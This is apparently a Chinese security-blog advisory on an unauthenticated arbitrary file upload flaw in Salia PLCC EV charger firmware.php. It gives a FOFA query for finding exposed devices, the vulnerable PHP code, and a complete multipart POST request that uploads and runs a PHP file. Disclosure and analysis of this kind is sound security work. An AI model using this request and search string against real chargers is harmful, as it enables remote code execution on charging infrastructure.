Salia PLCC firmware.php 任意文件上传漏洞


漏洞简介

Salia PLCC 的 eCHARGE 系列提供适用于家庭、企业和公共场所的智能电动汽车充电解决方案,具备高效充电、动态负载管理和光伏系统集成等功能的充电站。其充电管理系统 firmware.php 存在任意文件上传漏洞,允许未授权攻击者利用此漏洞向服务器上传任意文件,如 php 文件进行代码执行获取系统权限。

影响版本

<=2.2.0(最新版)

fofa语法

"Salia PLCC"

漏洞分析

看下 firmware.php 的业务逻辑实现,如下

<?php
    try{
        if($_SERVER['REQUEST_METHOD']=='POST'){
            $uploadManager=new \UploadManager\Upload('media');
            $chunks=$uploadManager->upload('uploads');
            if(!empty($chunks)){
                foreach($chunks as $chunk){
                    echo '<br><b>';
                    echo '<p>'.$chunk->getNameWithExtension().$lang->tx('!upload1').'</p>';
                    echo '<br>';
                    echo '<p>'.$lang->tx('!upload2').'</p>';
                    echo '<br></b>';

                    $fw_install = True;

                    // Start Firmware Update

                    // mqtt message mit update und filename raus
                    // file ist in /srv/uploads ...
                    // filename mit uebergeben ...
                    // redirect nach reboot.php ...
                    // port0/salia/updatefirmware <filename>

                    $update_ready = True;
                    $update_filename = $chunk->getNameWithExtension();
                }
            }
        }
    }catch(\UploadManager\Exceptions\Upload $exception){
        //if file exists: (user selects a file)
        if(!empty($exception->getChunk())){
            foreach($exception->getChunk()->getErrors() as $error){
                echo '<p>'.$error.'</p>';
            }
        }else{
            echo '<p>'.$exception->getMessage().'</p>';
        }
    }
?>
  • 代码仅在请求方法为POST时执行上传逻辑。
  • 使用了\UploadManager\Upload类处理名为media的上传文件。
  • 调用upload('uploads')方法,上传文件保存到uploads目录

看下 UploadManager/Upload.php 里 upload 方法的实现

public function upload($path=null,$nameWithExtension=null,$uniqueNameInPath=false,$offset=null,$length=null)
{
    //set upload path
    foreach($this->chunks as $chunk){
        if(!empty($nameWithExtension)){
            $chunk->setNameAndExtension($nameWithExtension);
        }

        //check if name is unique in that path?
        if(!empty($uniqueNameInPath)){
            $name=static::findUniqueName($path,$chunk->getName(),$chunk->getExtension());
            $chunk->setName($name);
        }

        if(empty($path)){
            $path='./';
        }

        $chunk->setSavePath($path);
    }

    //validation
    if ($this->validate() === false) {
        $message=null;
        foreach($this->errors as $error){
            $message.=$error.PHP_EOL;
        }
        throw new UploadException($message);
    }

    foreach ($this->chunks as $chunk) {
        $this->applyCallback('beforeUpload', $chunk);

        $chunk->save(null,$offset,$length);

        $this->applyCallback('afterUpload', $chunk);
    }
    return $this->chunks;
}

对于文件名,路径,无任何过滤或校验,导致任意文件上传漏洞。总体执行流程如下图所示

漏洞复现

POST /firmware.php HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
Host: salia.mrxn.net

------WebKitFormBoundary
Content-Disposition: form-data; name="media"; filename="1.php"

<?=md5(123456);unlink(__FILE__);
------WebKitFormBoundary--

成功上传 1.php 文件

访问上传文件 /uploads/1.php

成功执行上传代码


手机扫码阅读

银达汇智智慧综合管理平台 ADTag.ashx SQL注入漏洞

Salia PLCC check.php 未授权访问致信息泄露

评 论